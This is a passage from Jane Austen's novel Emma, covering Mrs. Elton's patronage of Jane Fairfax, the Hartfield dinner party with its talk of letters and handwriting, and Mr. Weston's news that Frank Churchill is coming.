barouche-landau in some of our exploring parties." + +"Poor Jane Fairfax!"--thought Emma.--"You have not deserved this. +You may have done wrong with regard to Mr. Dixon, but this is a +punishment beyond what you can have merited!--The kindness and protection +of Mrs. Elton!--`Jane Fairfax and Jane Fairfax.' Heavens! Let me +not suppose that she dares go about, Emma Woodhouse-ing me!-- +But upon my honour, there seems no limits to the licentiousness +of that woman's tongue!" + +Emma had not to listen to such paradings again--to any so exclusively +addressed to herself--so disgustingly decorated with a "dear Miss +Woodhouse." The change on Mrs. Elton's side soon afterwards appeared, +and she was left in peace--neither forced to be the very particular +friend of Mrs. Elton, nor, under Mrs. Elton's guidance, the very +active patroness of Jane Fairfax, and only sharing with others in a +general way, in knowing what was felt, what was meditated, what was done. + +She looked on with some amusement.--Miss Bates's gratitude for +Mrs. Elton's attentions to Jane was in the first style of guileless +simplicity and warmth. She was quite one of her worthies-- +the most amiable, affable, delightful woman--just as accomplished +and condescending as Mrs. Elton meant to be considered. +Emma's only surprize was that Jane Fairfax should accept +those attentions and tolerate Mrs. Elton as she seemed to do. +She heard of her walking with the Eltons, sitting with the Eltons, +spending a day with the Eltons! This was astonishing!--She could not +have believed it possible that the taste or the pride of Miss Fairfax +could endure such society and friendship as the Vicarage had to offer. + +"She is a riddle, quite a riddle!" said she.--"To chuse to remain +here month after month, under privations of every sort! And now +to chuse the mortification of Mrs. Elton's notice and the penury +of her conversation, rather than return to the superior companions +who have always loved her with such real, generous affection." + +Jane had come to Highbury professedly for three months; the Campbells +were gone to Ireland for three months; but now the Campbells +had promised their daughter to stay at least till Midsummer, +and fresh invitations had arrived for her to join them there. +According to Miss Bates--it all came from her--Mrs. Dixon had +written most pressingly. Would Jane but go, means were to be found, +servants sent, friends contrived--no travelling difficulty allowed +to exist; but still she had declined it! + +"She must have some motive, more powerful than appears, for refusing +this invitation," was Emma's conclusion. "She must be under some +sort of penance, inflicted either by the Campbells or herself. +There is great fear, great caution, great resolution somewhere.-- +She is _not_ to be with the _Dixons_. The decree is issued by somebody. +But why must she consent to be with the Eltons?--Here is quite a +separate puzzle." + +Upon her speaking her wonder aloud on that part of the subject, +before the few who knew her opinion of Mrs. Elton, Mrs. Weston +ventured this apology for Jane. + +"We cannot suppose that she has any great enjoyment at the Vicarage, +my dear Emma--but it is better than being always at home. +Her aunt is a good creature, but, as a constant companion, +must be very tiresome. We must consider what Miss Fairfax quits, +before we condemn her taste for what she goes to." + +"You are right, Mrs. Weston," said Mr. Knightley warmly, "Miss Fairfax +is as capable as any of us of forming a just opinion of Mrs. Elton. +Could she have chosen with whom to associate, she would not have +chosen her. But (with a reproachful smile at Emma) she receives +attentions from Mrs. Elton, which nobody else pays her." + +Emma felt that Mrs. Weston was giving her a momentary glance; +and she was herself struck by his warmth. With a faint blush, +she presently replied, + +"Such attentions as Mrs. Elton's, I should have imagined, +would rather disgust than gratify Miss Fairfax. Mrs. Elton's +invitations I should have imagined any thing but inviting." + +"I should not wonder," said Mrs. Weston, "if Miss Fairfax were to have +been drawn on beyond her own inclination, by her aunt's eagerness +in accepting Mrs. Elton's civilities for her. Poor Miss Bates may +very likely have committed her niece and hurried her into a greater +appearance of intimacy than her own good sense would have dictated, +in spite of the very natural wish of a little change." + +Both felt rather anxious to hear him speak again; and after a few +minutes silence, he said, + +"Another thing must be taken into consideration too--Mrs. Elton +does not talk _to_ Miss Fairfax as she speaks _of_ her. We all know +the difference between the pronouns he or she and thou, the plainest +spoken amongst us; we all feel the influence of a something beyond +common civility in our personal intercourse with each other-- +a something more early implanted. We cannot give any body the +disagreeable hints that we may have been very full of the hour before. +We feel things differently. And besides the operation of this, +as a general principle, you may be sure that Miss Fairfax awes +Mrs. Elton by her superiority both of mind and manner; and that, +face to face, Mrs. Elton treats her with all the respect which she +has a claim to. Such a woman as Jane Fairfax probably never fell +in Mrs. Elton's way before--and no degree of vanity can prevent +her acknowledging her own comparative littleness in action, if not +in consciousness." + +"I know how highly you think of Jane Fairfax," said Emma. +Little Henry was in her thoughts, and a mixture of alarm and delicacy +made her irresolute what else to say. + +"Yes," he replied, "any body may know how highly I think of her." + +"And yet," said Emma, beginning hastily and with an arch look, +but soon stopping--it was better, however, to know the worst at once-- +she hurried on--"And yet, perhaps, you may hardly be aware yourself +how highly it is. The extent of your admiration may take you by +surprize some day or other." + +Mr. Knightley was hard at work upon the lower buttons of his thick +leather gaiters, and either the exertion of getting them together, +or some other cause, brought the colour into his face, as he answered, + +"Oh! are you there?--But you are miserably behindhand. Mr. Cole +gave me a hint of it six weeks ago." + +He stopped.--Emma felt her foot pressed by Mrs. Weston, and did +not herself know what to think. In a moment he went on-- + +"That will never be, however, I can assure you. Miss Fairfax, +I dare say, would not have me if I were to ask her--and I am very +sure I shall never ask her." + +Emma returned her friend's pressure with interest; and was pleased +enough to exclaim, + +"You are not vain, Mr. Knightley. I will say that for you." + +He seemed hardly to hear her; he was thoughtful--and in a manner +which shewed him not pleased, soon afterwards said, + +"So you have been settling that I should marry Jane Fairfax?" + +"No indeed I have not. You have scolded me too much for match-making, +for me to presume to take such a liberty with you. What I said +just now, meant nothing. One says those sort of things, of course, +without any idea of a serious meaning. Oh! no, upon my word I have not +the smallest wish for your marrying Jane Fairfax or Jane any body. +You would not come in and sit with us in this comfortable way, +if you were married." + +Mr. Knightley was thoughtful again. The result of his reverie was, +"No, Emma, I do not think the extent of my admiration for her will +ever take me by surprize.--I never had a thought of her in that way, +I assure you." And soon afterwards, "Jane Fairfax is a very charming +young woman--but not even Jane Fairfax is perfect. She has a fault. +She has not the open temper which a man would wish for in a wife." + +Emma could not but rejoice to hear that she had a fault. +"Well," said she, "and you soon silenced Mr. Cole, I suppose?" + +"Yes, very soon. He gave me a quiet hint; I told him he was mistaken; +he asked my pardon and said no more. Cole does not want to be wiser +or wittier than his neighbours." + +"In that respect how unlike dear Mrs. Elton, who wants to be wiser +and wittier than all the world! I wonder how she speaks of the Coles-- +what she calls them! How can she find any appellation for them, +deep enough in familiar vulgarity? She calls you, Knightley--what can +she do for Mr. Cole? And so I am not to be surprized that Jane +Fairfax accepts her civilities and consents to be with her. +Mrs. Weston, your argument weighs most with me. I can much more +readily enter into the temptation of getting away from Miss Bates, +than I can believe in the triumph of Miss Fairfax's mind over +Mrs. Elton. I have no faith in Mrs. Elton's acknowledging herself +the inferior in thought, word, or deed; or in her being under any +restraint beyond her own scanty rule of good-breeding. I cannot +imagine that she will not be continually insulting her visitor +with praise, encouragement, and offers of service; that she will not be +continually detailing her magnificent intentions, from the procuring +her a permanent situation to the including her in those delightful +exploring parties which are to take place in the barouche-landau." + +"Jane Fairfax has feeling," said Mr. Knightley--"I do not +accuse her of want of feeling. Her sensibilities, I suspect, +are strong--and her temper excellent in its power of forbearance, +patience, self-controul; but it wants openness. She is reserved, +more reserved, I think, than she used to be--And I love an +open temper. No--till Cole alluded to my supposed attachment, +it had never entered my head. I saw Jane Fairfax and conversed with +her, with admiration and pleasure always--but with no thought beyond." + +"Well, Mrs. Weston," said Emma triumphantly when he left them, +"what do you say now to Mr. Knightley's marrying Jane Fairfax?" + +"Why, really, dear Emma, I say that he is so very much occupied +by the idea of _not_ being in love with her, that I should not wonder +if it were to end in his being so at last. Do not beat me." + + + +CHAPTER XVI + + +Every body in and about Highbury who had ever visited Mr. Elton, +was disposed to pay him attention on his marriage. Dinner-parties and +evening-parties were made for him and his lady; and invitations +flowed in so fast that she had soon the pleasure of apprehending +they were never to have a disengaged day. + +"I see how it is," said she. "I see what a life I am to lead +among you. Upon my word we shall be absolutely dissipated. +We really seem quite the fashion. If this is living in the country, +it is nothing very formidable. From Monday next to Saturday, +I assure you we have not a disengaged day!--A woman with fewer +resources than I have, need not have been at a loss." + +No invitation came amiss to her. Her Bath habits made evening-parties +perfectly natural to her, and Maple Grove had given her a taste +for dinners. She was a little shocked at the want of two +drawing rooms, at the poor attempt at rout-cakes, and there being +no ice in the Highbury card-parties. Mrs. Bates, Mrs. Perry, +Mrs. Goddard and others, were a good deal behind-hand in knowledge +of the world, but she would soon shew them how every thing ought +to be arranged. In the course of the spring she must return their +civilities by one very superior party--in which her card-tables +should be set out with their separate candles and unbroken packs +in the true style--and more waiters engaged for the evening +than their own establishment could furnish, to carry round +the refreshments at exactly the proper hour, and in the proper order. + +Emma, in the meanwhile, could not be satisfied without a dinner +at Hartfield for the Eltons. They must not do less than others, +or she should be exposed to odious suspicions, and imagined capable +of pitiful resentment. A dinner there must be. After Emma had +talked about it for ten minutes, Mr. Woodhouse felt no unwillingness, +and only made the usual stipulation of not sitting at the bottom +of the table himself, with the usual regular difficulty of deciding +who should do it for him. + +The persons to be invited, required little thought. Besides the Eltons, +it must be the Westons and Mr. Knightley; so far it was all of course-- +and it was hardly less inevitable that poor little Harriet must +be asked to make the eighth:--but this invitation was not given +with equal satisfaction, and on many accounts Emma was particularly +pleased by Harriet's begging to be allowed to decline it. +"She would rather not be in his company more than she could help. +She was not yet quite able to see him and his charming happy +wife together, without feeling uncomfortable. If Miss Woodhouse +would not be displeased, she would rather stay at home." +It was precisely what Emma would have wished, had she deemed it +possible enough for wishing. She was delighted with the fortitude +of her little friend--for fortitude she knew it was in her to give +up being in company and stay at home; and she could now invite the +very person whom she really wanted to make the eighth, Jane Fairfax.-- +Since her last conversation with Mrs. Weston and Mr. Knightley, +she was more conscience-stricken about Jane Fairfax than she had +often been.--Mr. Knightley's words dwelt with her. He had said +that Jane Fairfax received attentions from Mrs. Elton which nobody +else paid her. + +"This is very true," said she, "at least as far as relates to me, +which was all that was meant--and it is very shameful.--Of the same age-- +and always knowing her--I ought to have been more her friend.-- +She will never like me now. I have neglected her too long. But I +will shew her greater attention than I have done." + +Every invitation was successful. They were all disengaged and all happy.-- +The preparatory interest of this dinner, however, was not yet over. +A circumstance rather unlucky occurred. The two eldest little +Knightleys were engaged to pay their grandpapa and aunt a visit of +some weeks in the spring, and their papa now proposed bringing them, +and staying one whole day at Hartfield--which one day would be +the very day of this party.--His professional engagements did +not allow of his being put off, but both father and daughter were +disturbed by its happening so. Mr. Woodhouse considered eight +persons at dinner together as the utmost that his nerves could bear-- +and here would be a ninth--and Emma apprehended that it would +be a ninth very much out of humour at not being able to come even +to Hartfield for forty-eight hours without falling in with a dinner-party. + +She comforted her father better than she could comfort herself, +by representing that though he certainly would make them nine, +yet he always said so little, that the increase of noise would be +very immaterial. She thought it in reality a sad exchange for herself, +to have him with his grave looks and reluctant conversation opposed +to her instead of his brother. + +The event was more favourable to Mr. Woodhouse than to Emma. +John Knightley came; but Mr. Weston was unexpectedly summoned to town +and must be absent on the very day. He might be able to join them +in the evening, but certainly not to dinner. Mr. Woodhouse was quite +at ease; and the seeing him so, with the arrival of the little boys +and the philosophic composure of her brother on hearing his fate, +removed the chief of even Emma's vexation. + +The day came, the party were punctually assembled, and Mr. John Knightley +seemed early to devote himself to the business of being agreeable. +Instead of drawing his brother off to a window while they waited +for dinner, he was talking to Miss Fairfax. Mrs. Elton, as elegant +as lace and pearls could make her, he looked at in silence-- +wanting only to observe enough for Isabella's information--but Miss +Fairfax was an old acquaintance and a quiet girl, and he could +talk to her. He had met her before breakfast as he was returning +from a walk with his little boys, when it had been just beginning +to rain. It was natural to have some civil hopes on the subject, +and he said, + +"I hope you did not venture far, Miss Fairfax, this morning, or I +am sure you must have been wet.--We scarcely got home in time. +I hope you turned directly." + +"I went only to the post-office," said she, "and reached home +before the rain was much. It is my daily errand. I always fetch +the letters when I am here. It saves trouble, and is a something +to get me out. A walk before breakfast does me good." + +"Not a walk in the rain, I should imagine." + +"No, but it did not absolutely rain when I set out." + +Mr. John Knightley smiled, and replied, + +"That is to say, you chose to have your walk, for you were not six +yards from your own door when I had the pleasure of meeting you; +and Henry and John had seen more drops than they could count long before. +The post-office has a great charm at one period of our lives. +When you have lived to my age, you will begin to think letters are +never worth going through the rain for." + +There was a little blush, and then this answer, + +"I must not hope to be ever situated as you are, in the midst of +every dearest connexion, and therefore I cannot expect that simply +growing older should make me indifferent about letters." + +"Indifferent! Oh! no--I never conceived you could become indifferent. +Letters are no matter of indifference; they are generally a very +positive curse." + +"You are speaking of letters of business; mine are letters +of friendship." + +"I have often thought them the worst of the two," replied he coolly. +"Business, you know, may bring money, but friendship hardly +ever does." + +"Ah! you are not serious now. I know Mr. John Knightley too well-- +I am very sure he understands the value of friendship as well as +any body. I can easily believe that letters are very little to you, +much less than to me, but it is not your being ten years older than +myself which makes the difference, it is not age, but situation. +You have every body dearest to you always at hand, I, probably, +never shall again; and therefore till I have outlived all my affections, +a post-office, I think, must always have power to draw me out, +in worse weather than to-day." + +"When I talked of your being altered by time, by the progress of years," +said John Knightley, "I meant to imply the change of situation +which time usually brings. I consider one as including the other. +Time will generally lessen the interest of every attachment not within +the daily circle--but that is not the change I had in view for you. +As an old friend, you will allow me to hope, Miss Fairfax, that ten +years hence you may have as many concentrated objects as I have." + +It was kindly said, and very far from giving offence. A pleasant +"thank you" seemed meant to laugh it off, but a blush, a quivering lip, +a tear in the eye, shewed that it was felt beyond a laugh. +Her attention was now claimed by Mr. Woodhouse, who being, +according to his custom on such occasions, making the circle of +his guests, and paying his particular compliments to the ladies, +was ending with her--and with all his mildest urbanity, said, + +"I am very sorry to hear, Miss Fairfax, of your being out this +morning in the rain. Young ladies should take care of themselves.-- +Young ladies are delicate plants. They should take care of their +health and their complexion. My dear, did you change your stockings?" + +"Yes, sir, I did indeed; and I am very much obliged by your kind +solicitude about me." + +"My dear Miss Fairfax, young ladies are very sure to be cared for.-- +I hope your good grand-mama and aunt are well. They are some +of my very old friends. I wish my health allowed me to be a +better neighbour. You do us a great deal of honour to-day, I am sure. +My daughter and I are both highly sensible of your goodness, +and have the greatest satisfaction in seeing you at Hartfield." + +The kind-hearted, polite old man might then sit down and feel +that he had done his duty, and made every fair lady welcome and easy. + +By this time, the walk in the rain had reached Mrs. Elton, +and her remonstrances now opened upon Jane. + +"My dear Jane, what is this I hear?--Going to the post-office +in the rain!--This must not be, I assure you.--You sad girl, +how could you do such a thing?--It is a sign I was not there +to take care of you." + +Jane very patiently assured her that she had not caught any cold. + +"Oh! do not tell _me_. You really are a very sad girl, and do not +know how to take care of yourself.--To the post-office indeed! +Mrs. Weston, did you ever hear the like? You and I must positively +exert our authority." + +"My advice," said Mrs. Weston kindly and persuasively, "I certainly +do feel tempted to give. Miss Fairfax, you must not run such risks.-- +Liable as you have been to severe colds, indeed you ought +to be particularly careful, especially at this time of year. +The spring I always think requires more than common care. +Better wait an hour or two, or even half a day for your letters, +than run the risk of bringing on your cough again. Now do not you +feel that you had? Yes, I am sure you are much too reasonable. +You look as if you would not do such a thing again." + +"Oh! she _shall_ _not_ do such a thing again," eagerly rejoined +Mrs. Elton. "We will not allow her to do such a thing again:"-- +and nodding significantly--"there must be some arrangement made, +there must indeed. I shall speak to Mr. E. The man who fetches +our letters every morning (one of our men, I forget his name) +shall inquire for yours too and bring them to you. That will obviate +all difficulties you know; and from _us_ I really think, my dear Jane, +you can have no scruple to accept such an accommodation." + +"You are extremely kind," said Jane; "but I cannot give up my +early walk. I am advised to be out of doors as much as I can, +I must walk somewhere, and the post-office is an object; and upon +my word, I have scarcely ever had a bad morning before." + +"My dear Jane, say no more about it. The thing is determined, +that is (laughing affectedly) as far as I can presume to determine +any thing without the concurrence of my lord and master. You know, +Mrs. Weston, you and I must be cautious how we express ourselves. +But I do flatter myself, my dear Jane, that my influence is not entirely +worn out. If I meet with no insuperable difficulties therefore, +consider that point as settled." + +"Excuse me," said Jane earnestly, "I cannot by any means consent +to such an arrangement, so needlessly troublesome to your servant. +If the errand were not a pleasure to me, it could be done, as it +always is when I am not here, by my grandmama's." + +"Oh! my dear; but so much as Patty has to do!--And it is a kindness +to employ our men." + +Jane looked as if she did not mean to be conquered; but instead +of answering, she began speaking again to Mr. John Knightley. + +"The post-office is a wonderful establishment!" said she.-- +"The regularity and despatch of it! If one thinks of all that it +has to do, and all that it does so well, it is really astonishing!" + +"It is certainly very well regulated." + +"So seldom that any negligence or blunder appears! So seldom +that a letter, among the thousands that are constantly passing +about the kingdom, is even carried wrong--and not one in a million, +I suppose, actually lost! And when one considers the variety +of hands, and of bad hands too, that are to be deciphered, +it increases the wonder." + +"The clerks grow expert from habit.--They must begin with some +quickness of sight and hand, and exercise improves them. If you +want any farther explanation," continued he, smiling, "they are +paid for it. That is the key to a great deal of capacity. +The public pays and must be served well." + +The varieties of handwriting were farther talked of, and the usual +observations made. + +"I have heard it asserted," said John Knightley, "that the same +sort of handwriting often prevails in a family; and where the +same master teaches, it is natural enough. But for that reason, +I should imagine the likeness must be chiefly confined to the females, +for boys have very little teaching after an early age, and scramble +into any hand they can get. Isabella and Emma, I think, do write +very much alike. I have not always known their writing apart." + +"Yes," said his brother hesitatingly, "there is a likeness. +I know what you mean--but Emma's hand is the strongest." + +"Isabella and Emma both write beautifully," said Mr. Woodhouse; +"and always did. And so does poor Mrs. Weston"--with half a sigh +and half a smile at her. + +"I never saw any gentleman's handwriting"--Emma began, looking also +at Mrs. Weston; but stopped, on perceiving that Mrs. Weston was +attending to some one else--and the pause gave her time to reflect, +"Now, how am I going to introduce him?--Am I unequal to speaking +his name at once before all these people? Is it necessary +for me to use any roundabout phrase?--Your Yorkshire friend-- +your correspondent in Yorkshire;--that would be the way, I suppose, +if I were very bad.--No, I can pronounce his name without the +smallest distress. I certainly get better and better.--Now for it." + +Mrs. Weston was disengaged and Emma began again--"Mr. Frank Churchill +writes one of the best gentleman's hands I ever saw." + +"I do not admire it," said Mr. Knightley. "It is too small-- +wants strength. It is like a woman's writing." + +This was not submitted to by either lady. They vindicated him +against the base aspersion. "No, it by no means wanted strength-- +it was not a large hand, but very clear and certainly strong. +Had not Mrs. Weston any letter about her to produce?" No, she had +heard from him very lately, but having answered the letter, had put +it away. + +"If we were in the other room," said Emma, "if I had my writing-desk, +I am sure I could produce a specimen. I have a note of his.-- +Do not you remember, Mrs. Weston, employing him to write for you +one day?" + +"He chose to say he was employed"-- + +"Well, well, I have that note; and can shew it after dinner +to convince Mr. Knightley." + +"Oh! when a gallant young man, like Mr. Frank Churchill," +said Mr. Knightley dryly, "writes to a fair lady like Miss Woodhouse, +he will, of course, put forth his best." + +Dinner was on table.--Mrs. Elton, before she could be spoken to, +was ready; and before Mr. Woodhouse had reached her with his request +to be allowed to hand her into the dining-parlour, was saying-- + +"Must I go first? I really am ashamed of always leading the way." + +Jane's solicitude about fetching her own letters had not escaped Emma. +She had heard and seen it all; and felt some curiosity to know +whether the wet walk of this morning had produced any. She suspected +that it _had_; that it would not have been so resolutely encountered +but in full expectation of hearing from some one very dear, +and that it had not been in vain. She thought there was an air +of greater happiness than usual--a glow both of complexion and spirits. + +She could have made an inquiry or two, as to the expedition +and the expense of the Irish mails;--it was at her tongue's end-- +but she abstained. She was quite determined not to utter a word +that should hurt Jane Fairfax's feelings; and they followed +the other ladies out of the room, arm in arm, with an appearance +of good-will highly becoming to the beauty and grace of each. + + + +CHAPTER XVII + + +When the ladies returned to the drawing-room after dinner, Emma found +it hardly possible to prevent their making two distinct parties;-- +with so much perseverance in judging and behaving ill did Mrs. Elton +engross Jane Fairfax and slight herself. She and Mrs. Weston were +obliged to be almost always either talking together or silent together. +Mrs. Elton left them no choice. If Jane repressed her for a +little time, she soon began again; and though much that passed +between them was in a half-whisper, especially on Mrs. Elton's side, +there was no avoiding a knowledge of their principal subjects: +The post-office--catching cold--fetching letters--and friendship, +were long under discussion; and to them succeeded one, which must +be at least equally unpleasant to Jane--inquiries whether she had +yet heard of any situation likely to suit her, and professions of +Mrs. Elton's meditated activity. + +"Here is April come!" said she, "I get quite anxious about you. +June will soon be here." + +"But I have never fixed on June or any other month--merely looked +forward to the summer in general." + +"But have you really heard of nothing?" + +"I have not even made any inquiry; I do not wish to make any yet." + +"Oh! my dear, we cannot begin too early; you are not aware +of the difficulty of procuring exactly the desirable thing." + +"I not aware!" said Jane, shaking her head; "dear Mrs. Elton, +who can have thought of it as I have done?" + +"But you have not seen so much of the world as I have. You do not +know how many candidates there always are for the _first_ situations. +I saw a vast deal of that in the neighbourhood round Maple Grove. +A cousin of Mr. Suckling, Mrs. Bragge, had such an infinity +of applications; every body was anxious to be in her family, +for she moves in the first circle. Wax-candles in the schoolroom! +You may imagine how desirable! Of all houses in the kingdom +Mrs. Bragge's is the one I would most wish to see you in." + +"Colonel and Mrs. Campbell are to be in town again by midsummer," +said Jane. "I must spend some time with them; I am sure they will +want it;--afterwards I may probably be glad to dispose of myself. +But I would not wish you to take the trouble of making any inquiries +at present." + +"Trouble! aye, I know your scruples. You are afraid of giving +me trouble; but I assure you, my dear Jane, the Campbells can +hardly be more interested about you than I am. I shall write +to Mrs. Partridge in a day or two, and shall give her a strict +charge to be on the look-out for any thing eligible." + +"Thank you, but I would rather you did not mention the subject +to her; till the time draws nearer, I do not wish to be giving +any body trouble." + +"But, my dear child, the time is drawing near; here is April, +and June, or say even July, is very near, with such business +to accomplish before us. Your inexperience really amuses me! +A situation such as you deserve, and your friends would require for you, +is no everyday occurrence, is not obtained at a moment's notice; +indeed, indeed, we must begin inquiring directly." + +"Excuse me, ma'am, but this is by no means my intention; I make no +inquiry myself, and should be sorry to have any made by my friends. +When I am quite determined as to the time, I am not at all afraid +of being long unemployed. There are places in town, offices, +where inquiry would soon produce something--Offices for the sale-- +not quite of human flesh--but of human intellect." + +"Oh! my dear, human flesh! You quite shock me; if you mean a fling +at the slave-trade, I assure you Mr. Suckling was always rather +a friend to the abolition." + +"I did not mean, I was not thinking of the slave-trade," replied Jane; +"governess-trade, I assure you, was all that I had in view; +widely different certainly as to the guilt of those who carry it on; +but as to the greater misery of the victims, I do not know where +it lies. But I only mean to say that there are advertising offices, +and that by applying to them I should have no doubt of very soon +meeting with something that would do." + +"Something that would do!" repeated Mrs. Elton. "Aye, _that_ may +suit your humble ideas of yourself;--I know what a modest creature +you are; but it will not satisfy your friends to have you taking up +with any thing that may offer, any inferior, commonplace situation, +in a family not moving in a certain circle, or able to command +the elegancies of life." + +"You are very obliging; but as to all that, I am very indifferent; +it would be no object to me to be with the rich; my mortifications, +I think, would only be the greater; I should suffer more from comparison. +A gentleman's family is all that I should condition for." + +"I know you, I know you; you would take up with any thing; but I +shall be a little more nice, and I am sure the good Campbells will +be quite on my side; with your superior talents, you have a right +to move in the first circle. Your musical knowledge alone would +entitle you to name your own terms, have as many rooms as you like, +and mix in the family as much as you chose;--that is--I do not know-- +if you knew the harp, you might do all that, I am very sure; +but you sing as well as play;--yes, I really believe you might, +even without the harp, stipulate for what you chose;--and you must +and shall be delightfully, honourably and comfortably settled before +the Campbells or I have any rest." + +"You may well class the delight, the honour, and the comfort +of such a situation together," said Jane, "they are pretty sure +to be equal; however, I am very serious in not wishing any thing +to be attempted at present for me. I am exceedingly obliged to you, +Mrs. Elton, I am obliged to any body who feels for me, but I am +quite serious in wishing nothing to be done till the summer. +For two or three months longer I shall remain where I am, and as +I am." + +"And I am quite serious too, I assure you," replied Mrs. Elton gaily, +"in resolving to be always on the watch, and employing my friends +to watch also, that nothing really unexceptionable may pass us." + +In this style she ran on; never thoroughly stopped by any thing +till Mr. Woodhouse came into the room; her vanity had then a change +of object, and Emma heard her saying in the same half-whisper to Jane, + +"Here comes this dear old beau of mine, I protest!--Only think of his +gallantry in coming away before the other men!--what a dear creature +he is;--I assure you I like him excessively. I admire all that quaint, +old-fashioned politeness; it is much more to my taste than modern ease; +modern ease often disgusts me. But this good old Mr. Woodhouse, +I wish you had heard his gallant speeches to me at dinner. Oh! I assure +you I began to think my caro sposo would be absolutely jealous. +I fancy I am rather a favourite; he took notice of my gown. +How do you like it?--Selina's choice--handsome, I think, but I +do not know whether it is not over-trimmed; I have the greatest +dislike to the idea of being over-trimmed--quite a horror of finery. +I must put on a few ornaments now, because it is expected of me. +A bride, you know, must appear like a bride, but my natural taste +is all for simplicity; a simple style of dress is so infinitely +preferable to finery. But I am quite in the minority, I believe; +few people seem to value simplicity of dress,--show and finery +are every thing. I have some notion of putting such a trimming +as this to my white and silver poplin. Do you think it will +look well?" + +The whole party were but just reassembled in the drawing-room +when Mr. Weston made his appearance among them. He had returned +to a late dinner, and walked to Hartfield as soon as it was over. +He had been too much expected by the best judges, for surprize-- +but there was great joy. Mr. Woodhouse was almost as glad to see +him now, as he would have been sorry to see him before. John Knightley +only was in mute astonishment.--That a man who might have spent +his evening quietly at home after a day of business in London, +should set off again, and walk half a mile to another man's house, +for the sake of being in mixed company till bed-time, of finishing +his day in the efforts of civility and the noise of numbers, +was a circumstance to strike him deeply. A man who had been in motion +since eight o'clock in the morning, and might now have been still, +who had been long talking, and might have been silent, who had been +in more than one crowd, and might have been alone!--Such a man, +to quit the tranquillity and independence of his own fireside, +and on the evening of a cold sleety April day rush out again into +the world!--Could he by a touch of his finger have instantly taken +back his wife, there would have been a motive; but his coming would +probably prolong rather than break up the party. John Knightley +looked at him with amazement, then shrugged his shoulders, and said, +"I could not have believed it even of _him_." + +Mr. Weston meanwhile, perfectly unsuspicious of the indignation +he was exciting, happy and cheerful as usual, and with all +the right of being principal talker, which a day spent anywhere +from home confers, was making himself agreeable among the rest; +and having satisfied the inquiries of his wife as to his dinner, +convincing her that none of all her careful directions to the servants +had been forgotten, and spread abroad what public news he had heard, +was proceeding to a family communication, which, though principally +addressed to Mrs. Weston, he had not the smallest doubt of being +highly interesting to every body in the room. He gave her a letter, +it was from Frank, and to herself; he had met with it in his way, +and had taken the liberty of opening it. + +"Read it, read it," said he, "it will give you pleasure; +only a few lines--will not take you long; read it to Emma." + +The two ladies looked over it together; and he sat smiling +and talking to them the whole time, in a voice a little subdued, +but very audible to every body. + +"Well, he is coming, you see; good news, I think. Well, what do +you say to it?--I always told you he would be here again soon, +did not I?--Anne, my dear, did not I always tell you so, and you would +not believe me?--In town next week, you see--at the latest, I dare say; +for _she_ is as impatient as the black gentleman when any thing is +to be done; most likely they will be there to-morrow or Saturday. +As to her illness, all nothing of course. But it is an excellent +thing to have Frank among us again, so near as town. They will stay +a good while when they do come, and he will be half his time with us. +This is precisely what I wanted. Well, pretty good news, is not it? +Have you finished it? Has Emma read it all? Put it up, put it up; +we will have a good talk about it some other time, but it will not +do now. I shall only just mention the circumstance to the others in a +common way." + +Mrs. Weston was most comfortably pleased on the occasion. +Her looks and words had nothing to restrain them. She was happy, +she knew she was happy, and knew she ought to be happy. +Her congratulations were warm and open; but Emma could not speak +so fluently. _She_ was a little occupied in weighing her own feelings, +and trying to understand the degree of her agitation, which she +rather thought was considerable. + +Mr. Weston, however, too eager to be very observant, too communicative +to want others to talk, was very well satisfied with what she did say, +and soon moved away to make the rest of his friends happy by a partial +communication of what the whole room must have overheard already. + +It was well that he took every body's joy for granted, or he +might not have thought either Mr. Woodhouse or Mr. Knightley +particularly delighted. They were the first entitled, +after Mrs. Weston and Emma, to be made happy;--from them he would +have proceeded to Miss Fairfax, but she was so deep in conversation +with John Knightley, that it would have been too positive +an interruption; and finding himself close to Mrs. Elton, and +her attention disengaged, he necessarily began on the subject with her. + + + +CHAPTER XVIII + + +"I hope I shall soon have the pleasure of introducing my son to you," +said Mr. Weston. + +Mrs. Elton, very willing to suppose a particular compliment intended +her by such a hope, smiled most graciously. + +"You have heard of a certain Frank Churchill, I presume," he continued-- +"and know him to be my son, though he does not bear my name." + +"Oh! yes, and I shall be very happy in his acquaintance. +I am sure Mr. Elton will lose no time in calling on him; and we +shall both have great pleasure in seeing him at the Vicarage." + +"You are very obliging.--Frank will be extremely happy, I am sure.-- +He is to be in town next week, if not sooner. We have notice of it +in a letter to-day. I met the letters in my way this morning, +and seeing my son's hand, presumed to open it--though it was not directed +to me--it was to Mrs. Weston. She is his principal correspondent, +I assure you. I hardly ever get a letter." + +"And so you absolutely opened what was directed to her! Oh! Mr. Weston-- +(laughing affectedly) I must protest against that.--A most dangerous +precedent indeed!--I beg you will not let your neighbours follow +your example.--Upon my word, if this is what I am to expect, +we married women must begin to exert ourselves!--Oh! Mr. Weston, +I could not have believed it of you!" + +"Aye, we men are sad fellows. You must take care of yourself, +Mrs. Elton.--This letter tells us--it is a short letter--written in +a hurry, merely to give us notice--it tells us that they are all +coming up to town directly, on Mrs. Churchill's account--she has +not been well the whole winter, and thinks Enscombe too cold for her-- +so they are all to move southward without loss of time." + +"Indeed!--from Yorkshire, I think. Enscombe is in Yorkshire?" + +"Yes, they are about one hundred and ninety miles from London. +a considerable journey." + +"Yes, upon my word, very considerable. Sixty-five miles farther +than from Maple Grove to London. But what is distance, Mr. Weston, +to people of large fortune?--You would be amazed to hear how my brother, +Mr. Suckling, sometimes flies about. You will hardly believe me-- +but twice in one week he and Mr. Bragge went to London and back again +with four horses." + +"The evil of the distance from Enscombe," said Mr. Weston, "is, that +Mrs. Churchill, _as_ _we_ _understand_, has not been able to leave the +sofa for a week together. In Frank's last letter she complained, +he said, of being too weak to get into her conservatory without having +both his arm and his uncle's! This, you know, speaks a great degree +of weakness--but now she is so impatient to be in town, that she +means to sleep only two nights on the road.--So Frank writes word. +Certainly, delicate ladies have very extraordinary constitutions, +Mrs. Elton. You must grant me that." + +"No, indeed, I shall grant you nothing. I Always take the part +of my own sex. I do indeed. I give you notice--You will find me +a formidable antagonist on that point. I always stand up for women-- +and I assure you, if you knew how Selina feels with respect +to sleeping at an inn, you would not wonder at Mrs. Churchill's +making incredible exertions to avoid it. Selina says it is quite +horror to her--and I believe I have caught a little of her nicety. +She always travels with her own sheets; an excellent precaution. +Does Mrs. Churchill do the same?" + +"Depend upon it, Mrs. Churchill does every thing that any other +fine lady ever did. Mrs. Churchill will not be second to any lady +in the land for"-- + +Mrs. Elton eagerly interposed with, + +"Oh! Mr. Weston, do not mistake me. Selina is no fine lady, +I assure you. Do not run away 